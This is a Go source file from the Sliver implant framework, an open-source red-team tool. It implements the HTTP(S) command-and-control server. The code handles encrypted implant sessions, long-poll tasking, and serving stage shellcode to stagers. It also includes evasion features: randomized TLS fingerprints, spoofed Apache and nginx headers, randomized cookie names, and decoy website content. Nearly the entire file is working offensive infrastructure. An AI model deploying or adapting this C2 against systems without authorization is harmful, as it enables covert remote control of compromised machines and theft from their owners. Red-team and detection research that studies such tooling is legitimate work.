package c2 /* Sliver Implant Framework Copyright (C) 2019 Bishop Fox This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ import ( "bytes" "context" "crypto/rand" "crypto/tls" "encoding/base64" "encoding/hex" "errors" "fmt" "io" insecureRand "math/rand" "net" "net/http" "net/url" "path/filepath" "strconv" "sync" "time" "unicode" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/server/certs" "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/core" "github.com/bishopfox/sliver/server/cryptography" "github.com/bishopfox/sliver/server/db" sliverHandlers "github.com/bishopfox/sliver/server/handlers" "github.com/bishopfox/sliver/server/log" "github.com/bishopfox/sliver/server/website" "github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util/encoders" "github.com/gorilla/mux" "google.golang.org/protobuf/proto" ) var ( httpLog = log.NamedLogger("c2", "http") accessLog = log.NamedLogger("c2", "http-access") ErrMissingNonce = errors.New("nonce not found in request") ErrMissingOTP = errors.New("otp code not found in request") ErrInvalidEncoder = errors.New("invalid request encoder") ErrDecodeFailed = errors.New("failed to decode request") ErrDecryptFailed = errors.New("failed to decrypt request") ) const ( DefaultMaxBodyLength = 2 * 1024 * 1024 * 1024 // 2Gb DefaultHTTPTimeout = time.Minute DefaultLongPollTimeout = time.Second DefaultLongPollJitter = time.Second minPollTimeout = time.Second ) var ( serverVersionHeader string ) // HTTPSession - Holds data related to a sliver c2 session type HTTPSession struct { ID string ImplantConn *core.ImplantConnection CipherCtx *cryptography.CipherContext Started time.Time } // HTTPSessions - All currently open HTTP sessions type HTTPSessions struct { active map[string]*HTTPSession mutex *sync.RWMutex } // Add - Add an HTTP session func (s *HTTPSessions) Add(session *HTTPSession) { s.mutex.Lock() defer s.mutex.Unlock() s.active[session.ID] = session } // Get - Get an HTTP session func (s *HTTPSessions) Get(sessionID string) *HTTPSession { s.mutex.RLock() defer s.mutex.RUnlock() return s.active[sessionID] } // Remove - Remove an HTTP session func (s *HTTPSessions) Remove(sessionID string) { s.mutex.Lock() defer s.mutex.Unlock() delete(s.active, sessionID) } // HTTPHandler - Path mapped to a handler function type HTTPHandler func(resp http.ResponseWriter, req *http.Request) // HTTPServerConfig - Config data for servers type HTTPServerConfig struct { Addr string LPort uint16 Domain string Website string Secure bool Cert []byte Key []byte ACME bool MaxRequestLength int EnforceOTP bool LongPollTimeout time.Duration LongPollJitter time.Duration RandomizeJARM bool } // SliverHTTPC2 - Holds refs to all the C2 objects type SliverHTTPC2 struct { HTTPServer *http.Server ServerConf *HTTPServerConfig // Server config (user args) HTTPSessions *HTTPSessions SliverStage []byte // Sliver shellcode to serve during staging process Cleanup func() c2Config *configs.HTTPC2Config // C2 config (from config file) } func (s *SliverHTTPC2) getServerHeader() string { if serverVersionHeader == "" { switch insecureRand.Intn(2) { case 0: serverVersionHeader = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48)) default: serverVersionHeader = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8)) } } return serverVersionHeader } func (s *SliverHTTPC2) getCookieName() string { cookies := configs.GetHTTPC2Config().ServerConfig.Cookies index := insecureRand.Intn(len(cookies)) return cookies[index] } func (s *SliverHTTPC2) LoadC2Config() *configs.HTTPC2Config { if s.c2Config != nil { return s.c2Config } s.c2Config = configs.GetHTTPC2Config() return s.c2Config } // StartHTTPListener - Start an HTTP(S) listener, this can be used to start both // // HTTP/HTTPS depending on the caller's conf // // TODO: Better error handling, configurable ACME host/port func StartHTTPListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) { httpLog.Infof("Starting https listener on '%s'", conf.Addr) server := &SliverHTTPC2{ ServerConf: conf, HTTPSessions: &HTTPSessions{ active: map[string]*HTTPSession{}, mutex: &sync.RWMutex{}, }, } server.HTTPServer = &http.Server{ Addr: conf.Addr, Handler: server.router(), WriteTimeout: DefaultHTTPTimeout, ReadTimeout: DefaultHTTPTimeout, IdleTimeout: DefaultHTTPTimeout, TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler)), } if conf.ACME { conf.Domain = filepath.Base(conf.Domain) // I don't think we need this, but we do it anyways httpLog.Infof("Attempting to fetch let's encrypt certificate for '%s' ...", conf.Domain) acmeManager := certs.GetACMEManager(conf.Domain) acmeHTTPServer := &http.Server{Addr: ":80", Handler: acmeManager.HTTPHandler(nil)} go acmeHTTPServer.ListenAndServe() server.HTTPServer.TLSConfig = &tls.Config{ GetCertificate: acmeManager.GetCertificate, } server.Cleanup = func() { ctx, cancelHTTP := context.WithTimeout(context.Background(), 5*time.Second) defer cancelHTTP() if err := acmeHTTPServer.Shutdown(ctx); err != nil { httpLog.Warnf("Failed to shutdown http acme server") } ctx, cancelHTTPS := context.WithTimeout(context.Background(), 5*time.Second) defer cancelHTTPS() server.HTTPServer.Shutdown(ctx) if err := acmeHTTPServer.Shutdown(ctx); err != nil { httpLog.Warn("Failed to shutdown https server") } } } else { server.HTTPServer.TLSConfig = getHTTPSConfig(conf) server.Cleanup = func() { ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() server.HTTPServer.Shutdown(ctx) if err := server.HTTPServer.Shutdown(ctx); err != nil { httpLog.Warn("Failed to shutdown https server") } } } return server, nil } func getHTTPSConfig(conf *HTTPServerConfig) *tls.Config { if conf.Cert == nil || conf.Key == nil { var err error if conf.Domain != "" { conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate(conf.Domain) } else { conf.Cert, conf.Key, err = certs.HTTPSGenerateRSACertificate("localhost") } if err != nil { httpLog.Errorf("Failed to generate self-signed tls cert/key pair %s", err) return nil } } cert, err := tls.X509KeyPair(conf.Cert, conf.Key) if err != nil { httpLog.Errorf("Failed to parse tls cert/key pair %s", err) return nil } tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}} if !conf.RandomizeJARM { return tlsConfig } // Randomize the JARM fingerprint switch insecureRand.Intn(4) { // So it turns out that Windows by default // disables TLS v1.2 because it's horrible. // So anyways for compatibility we'll specify // a min of 1.1 or 1.0 case 0: // tlsConfig.MinVersion = tls.VersionTLS13 fallthrough // For compatibility with winhttp case 1: // tlsConfig.MinVersion = tls.VersionTLS12 fallthrough // For compatibility with winhttp case 2: tlsConfig.MinVersion = tls.VersionTLS11 default: tlsConfig.MinVersion = tls.VersionTLS10 } // Randomize the cipher suites allCipherSuites := []uint16{ tls.TLS_RSA_WITH_RC4_128_SHA, //uint16 = 0x0005 1 tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA, //uint16 = 0x000a 2 tls.TLS_RSA_WITH_AES_128_CBC_SHA, //uint16 = 0x002f 3 tls.TLS_RSA_WITH_AES_256_CBC_SHA, //uint16 = 0x0035 4 tls.TLS_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0x003c 5 tls.TLS_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0x009c 6 tls.TLS_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0x009d 7 tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, //uint16 = 0xc007 8 tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc009 9 tls.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc00a 10 tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, //uint16 = 0xc011 11 tls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, //uint16 = 0xc012 12 tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc013 13 tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc014 14 tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc023 15 tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc027 16 tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02f 17 tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02b 18 tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc030 19 tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc02c 20 tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca8 21 tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca9 22 } // CipherSuites ignores the order of the ciphers, this random shuffle // is truncated resulting in a random selection from all ciphers insecureRand.Shuffle(len(allCipherSuites), func(i, j int) { allCipherSuites[i], allCipherSuites[j] = allCipherSuites[j], allCipherSuites[i] }) nCiphers := insecureRand.Intn(len(allCipherSuites)-8) + 8 tlsConfig.CipherSuites = allCipherSuites[:nCiphers] // Some TLS 1.2 stacks disable some of the older ciphers like RC4, so to ensure // compatibility we need to make sure we always choose at least one modern RSA // option. modernCiphers := []uint16{ tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0xc027 16 tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0xc02f 17 tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0xc030 19 tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca8 21 } found := false for _, cipher := range tlsConfig.CipherSuites { if util.Contains(modernCiphers, cipher) { found = true // Our random selection contains a modern cipher, do nothing break } } if !found { // We are lacking at least one modern RSA option, so randomly enable one tlsConfig.CipherSuites = append(tlsConfig.CipherSuites, modernCiphers[insecureRand.Intn(len(modernCiphers))]) } if certs.TLSKeyLogger != nil { tlsConfig.KeyLogWriter = certs.TLSKeyLogger } return tlsConfig } func (s *SliverHTTPC2) router() *mux.Router { router := mux.NewRouter() c2Config := s.LoadC2Config() if s.ServerConf.MaxRequestLength < 1024 { s.ServerConf.MaxRequestLength = DefaultMaxBodyLength } if s.ServerConf.LongPollTimeout == 0 { s.ServerConf.LongPollTimeout = DefaultLongPollTimeout s.ServerConf.LongPollJitter = DefaultLongPollJitter } httpLog.Debugf("HTTP C2 Implant Config = %v", c2Config.ImplantConfig) httpLog.Debugf("HTTP C2 Server Config = %v", c2Config.ServerConfig) // Start Session Handler router.HandleFunc( fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.StartSessionFileExt), s.startSessionHandler, ).MatcherFunc(s.filterOTP).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost) // Session Handler router.HandleFunc( fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.SessionFileExt), s.sessionHandler, ).MatcherFunc(s.filterNonce).Methods(http.MethodGet, http.MethodPost) // Poll Handler router.HandleFunc( fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.PollFileExt), s.pollHandler, ).MatcherFunc(s.filterNonce).Methods(http.MethodGet) // Close Handler router.HandleFunc( fmt.Sprintf("/{rpath:.*\\.%s$}", c2Config.ImplantConfig.CloseFileExt), s.closeHandler, ).MatcherFunc(s.filterNonce).Methods(http.MethodGet) // Can't force the user agent on the stager payload // Request from msf stager payload will look like: // GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID router.HandleFunc( fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExt), s.stagerHandler, ).MatcherFunc(s.filterOTP).Methods(http.MethodGet) // Default handler returns static content or 404s httpLog.Debugf("No pattern matches for request uri") router.HandleFunc("/{rpath:.*}", s.defaultHandler).Methods(http.MethodGet, http.MethodPost) router.Use(loggingMiddleware) router.Use(s.DefaultRespHeaders) return router } func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) { resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate") } // This filters requests that do not have a valid nonce func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool { nonce, err := getNonceFromURL(req.URL) if err != nil { httpLog.Warnf("Invalid nonce '%d'", nonce) return false // NaN } return true } func (s *SliverHTTPC2) filterOTP(req *http.Request, rm *mux.RouteMatch) bool { if s.ServerConf.EnforceOTP { httpLog.Debug("Checking for valid OTP code ...") otpCode, err := getOTPFromURL(req.URL) if err != nil { httpLog.Warnf("Failed to validate OTP: %s", err) return false } valid, err := cryptography.ValidateTOTP(otpCode) if err != nil { httpLog.Warnf("Failed to validate OTP: %s", err) return false } if valid { httpLog.Debug("OTP code is valid") return true } httpLog.Debugf("OTP code (%s) is invalid", otpCode) return false } else { httpLog.Debug("OTP enforcement is disabled") return true // OTP enforcement is disabled } } func getNonceFromURL(reqURL *url.URL) (int, error) { qNonce := "" for arg, values := range reqURL.Query() { if len(arg) == 1 { qNonce = digitsOnly(values[0]) break } } if qNonce == "" { httpLog.Warn("Nonce not found in request") return 0, ErrMissingNonce } nonce, err := strconv.Atoi(qNonce) if err != nil { httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce) return 0, err } _, _, err = encoders.EncoderFromNonce(nonce) if err != nil { httpLog.Warnf("Invalid nonce (%s)", err) return 0, err } return nonce, nil } func getOTPFromURL(reqURL *url.URL) (string, error) { otpCode := "" for arg, values := range reqURL.Query() { if len(arg) == 2 { otpCode = digitsOnly(values[0]) break } } if otpCode == "" { httpLog.Warn("OTP not found in request") return "", ErrMissingNonce } return otpCode, nil } func digitsOnly(value string) string { var buf bytes.Buffer for _, char := range value { if unicode.IsDigit(char) { buf.WriteRune(char) } } return buf.String() } func loggingMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) { accessLog.Infof("%s - %s - %v", getRemoteAddr(req), req.RequestURI, req.Header.Get("User-Agent")) next.ServeHTTP(resp, req) }) } // DefaultRespHeaders - Configures default response headers func (s *SliverHTTPC2) DefaultRespHeaders(next http.Handler) http.Handler { return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) { if s.c2Config.ServerConfig.RandomVersionHeaders { resp.Header().Set("Server", s.getServerHeader()) } for _, header := range s.c2Config.ServerConfig.Headers { if 0 < header.Probability && header.Probability < 100 { roll := insecureRand.Intn(99) + 1 if header.Probability < roll { continue } } resp.Header().Set(header.Name, header.Value) } next.ServeHTTP(resp, req) }) } func (s *SliverHTTPC2) websiteContentHandler(resp http.ResponseWriter, req *http.Request) error { httpLog.Infof("Request for site %v -> %s", s.ServerConf.Website, req.RequestURI) contentType, content, err := website.GetContent(s.ServerConf.Website, req.RequestURI) if err != nil { httpLog.Infof("No website content for %s", req.RequestURI) return err } resp.Header().Set("Content-type", contentType) s.noCacheHeader(resp) resp.Write(content) return nil } func (s *SliverHTTPC2) defaultHandler(resp http.ResponseWriter, req *http.Request) { // Request does not match the C2 profile so we pass it to the static content or 404 handler if s.ServerConf.Website != "" { httpLog.Infof("Serving static content from website %v", s.ServerConf.Website) err := s.websiteContentHandler(resp, req) if err == nil { return } } httpLog.Debugf("[404] No match for %s", req.RequestURI) resp.WriteHeader(http.StatusNotFound) } // [ HTTP Handlers ] --------------------------------------------------------------- func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) { httpLog.Debug("Start http session request") nonce, _ := getNonceFromURL(req.URL) _, encoder, err := encoders.EncoderFromNonce(nonce) if err != nil { httpLog.Warnf("Request specified an invalid encoder (%d)", nonce) s.defaultHandler(resp, req) return } body, err := io.ReadAll(req.Body) if err != nil { httpLog.Errorf("Failed to read body %s", err) s.defaultHandler(resp, req) return } data, err := encoder.Decode(body) if err != nil { httpLog.Errorf("Failed to decode body %s", err) s.defaultHandler(resp, req) return } if len(data) < 32 { httpLog.Warn("Invalid data length") s.defaultHandler(resp, req) return } var publicKeyDigest [32]byte copy(publicKeyDigest[:], data[:32]) implantConfig, err := db.ImplantConfigByECCPublicKeyDigest(publicKeyDigest) if err != nil || implantConfig == nil { httpLog.Warn("Unknown public key") s.defaultHandler(resp, req) return } publicKey, err := base64.RawStdEncoding.DecodeString(implantConfig.ECCPublicKey) if err != nil || len(publicKey) != 32 { httpLog.Warn("Failed to decode public key") s.defaultHandler(resp, req) return } var senderPublicKey [32]byte copy(senderPublicKey[:], publicKey) serverKeyPair := cryptography.ECCServerKeyPair() sessionInitData, err := cryptography.ECCDecrypt(&senderPublicKey, serverKeyPair.Private, data[32:]) if err != nil { httpLog.Error("ECC decryption failed") s.defaultHandler(resp, req) return } sessionInit := &sliverpb.HTTPSessionInit{} err = proto.Unmarshal(sessionInitData, sessionInit) if err != nil { httpLog.Error("Failed to decode session init") return } httpSession := newHTTPSession() sKey, err := cryptography.KeyFromBytes(sessionInit.Key) if err != nil { httpLog.Error("Failed to convert bytes to session key") return } httpSession.CipherCtx = cryptography.NewCipherContext(sKey) httpSession.ImplantConn = core.NewImplantConnection("http(s)", getRemoteAddr(req)) s.HTTPSessions.Add(httpSession) httpLog.Infof("Started new session with http session id: %s", httpSession.ID) responseCiphertext, err := httpSession.CipherCtx.Encrypt([]byte(httpSession.ID)) if err != nil { httpLog.Info("Failed to encrypt session identifier") s.defaultHandler(resp, req) return } http.SetCookie(resp, &http.Cookie{ Domain: s.ServerConf.Domain, Name: s.getCookieName(), Value: httpSession.ID, Secure: false, HttpOnly: true, }) s.noCacheHeader(resp) resp.Write(encoder.Encode(responseCiphertext)) } func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) { httpLog.Debug("Session request") httpSession := s.getHTTPSession(req) if httpSession == nil { s.defaultHandler(resp, req) return } httpSession.ImplantConn.UpdateLastMessage() nonce, _ := getNonceFromURL(req.URL) _, encoder, _ := encoders.EncoderFromNonce(nonce) plaintext, err := s.readReqBody(httpSession, resp, req) if err != nil { httpLog.Warnf("Failed to decode request body: %s", err) s.defaultHandler(resp, req) return } envelope := &sliverpb.Envelope{} err = proto.Unmarshal(plaintext, envelope) if err != nil { httpLog.Warnf("Failed to decode request body: %s", err) s.defaultHandler(resp, req) return } resp.WriteHeader(http.StatusOK) handlers := sliverHandlers.GetHandlers() if envelope.ID != 0 { httpSession.ImplantConn.RespMutex.RLock() defer httpSession.ImplantConn.RespMutex.RUnlock() if resp, ok := httpSession.ImplantConn.Resp[envelope.ID]; ok { resp <- envelope } } else if handler, ok := handlers[envelope.Type]; ok { respEnvelope := handler(httpSession.ImplantConn, envelope.Data) if respEnvelope != nil { s.noCacheHeader(resp) envelopeData, _ := proto.Marshal(respEnvelope) ciphertext, err := httpSession.CipherCtx.Encrypt(envelopeData) if err != nil { httpLog.Errorf("Failed to encrypt message %s", err) ciphertext = []byte{} } resp.Write(encoder.Encode(ciphertext)) } } } func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) { httpLog.Debug("Poll request") httpSession := s.getHTTPSession(req) if httpSession == nil { s.defaultHandler(resp, req) return } httpSession.ImplantConn.UpdateLastMessage() // We already know we have a valid nonce because of the middleware filter nonce, _ := getNonceFromURL(req.URL) _, encoder, _ := encoders.EncoderFromNonce(nonce) select { case envelope := <-httpSession.ImplantConn.Send: resp.WriteHeader(http.StatusOK) envelopeData, _ := proto.Marshal(envelope) ciphertext, err := httpSession.CipherCtx.Encrypt(envelopeData) if err != nil { httpLog.Errorf("Failed to encrypt message %s", err) ciphertext = []byte{} } s.noCacheHeader(resp) resp.Write(encoder.Encode(ciphertext)) case <-req.Context().Done(): httpLog.Debug("Poll client hang up") return case <-time.After(s.getServerPollTimeout()): httpLog.Debug("Poll time out") resp.WriteHeader(http.StatusNoContent) s.noCacheHeader(resp) resp.Write([]byte{}) } } func (s *SliverHTTPC2) readReqBody(httpSession *HTTPSession, resp http.ResponseWriter, req *http.Request) ([]byte, error) { nonce, _ := getNonceFromURL(req.URL) _, encoder, err := encoders.EncoderFromNonce(nonce) if err != nil { httpLog.Warnf("Request specified an invalid encoder (%d)", nonce) s.defaultHandler(resp, req) return nil, ErrInvalidEncoder } body, err := io.ReadAll(&io.LimitedReader{ R: req.Body, N: int64(s.ServerConf.MaxRequestLength), }) if err != nil { httpLog.Warnf("Failed to read request body %s", err) return nil, err } data, err := encoder.Decode(body) if err != nil { httpLog.Warnf("Failed to decode body %s", err) s.defaultHandler(resp, req) return nil, ErrDecodeFailed } plaintext, err := httpSession.CipherCtx.Decrypt(data) if err != nil { httpLog.Warnf("Decryption failure %s", err) s.defaultHandler(resp, req) return nil, ErrDecryptFailed } return plaintext, err } func (s *SliverHTTPC2) getServerPollTimeout() time.Duration { min := s.ServerConf.LongPollTimeout max := s.ServerConf.LongPollTimeout + s.ServerConf.LongPollJitter timeout := float64(min) + insecureRand.Float64()*(float64(max)-float64(min)) pollTimeout := time.Duration(int64(timeout)) if pollTimeout < minPollTimeout { httpLog.Warnf("Poll timeout is too short, using default minimum %v", minPollTimeout) pollTimeout = minPollTimeout } httpLog.Debugf("Poll timeout: %s", pollTimeout) return pollTimeout } func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request) { httpLog.Debug("Close request") httpSession := s.getHTTPSession(req) if httpSession == nil { httpLog.Infof("No session with id %#v", httpSession.ID) s.defaultHandler(resp, req) return } for _, cookie := range req.Cookies() { cookie.MaxAge = -1 http.SetCookie(resp, cookie) } s.HTTPSessions.Remove(httpSession.ID) resp.WriteHeader(http.StatusAccepted) } // stagerHandler - Serves the sliver shellcode to the stager requesting it func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request) { httpLog.Debug("Stager request") if len(s.SliverStage) != 0 { httpLog.Infof("Received staging request from %s", getRemoteAddr(req)) s.noCacheHeader(resp) resp.Write(s.SliverStage) httpLog.Infof("Serving sliver shellcode (size %d) to %s", len(s.SliverStage), getRemoteAddr(req)) resp.WriteHeader(http.StatusOK) } else { resp.WriteHeader(http.StatusNotFound) } } func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession { for _, cookie := range req.Cookies() { httpSession := s.HTTPSessions.Get(cookie.Value) if httpSession != nil { httpSession.ImplantConn.UpdateLastMessage() return httpSession } } return nil // No valid cookie names } func newHTTPSession() *HTTPSession { return &HTTPSession{ ID: newHTTPSessionID(), Started: time.Now(), } } // newHTTPSessionID - Get a 128bit session ID func newHTTPSessionID() string { buf := make([]byte, 16) rand.Read(buf) return hex.EncodeToString(buf) } func getRemoteAddr(req *http.Request) string { ipAddress := req.Header.Get("X-Real-Ip") if ipAddress == "" { ipAddress = req.Header.Get("X-Forwarded-For") } if ipAddress == "" { return req.RemoteAddr } // Try to parse the header as an IP address, as this is user controllable // input we don't want to trust it. ip := net.ParseIP(ipAddress) if ip == nil { httpLog.Warn("Failed to parse X-Header as ip address") return req.RemoteAddr } return fmt.Sprintf("tcp(%s)->%s", req.RemoteAddr, ip.String()) }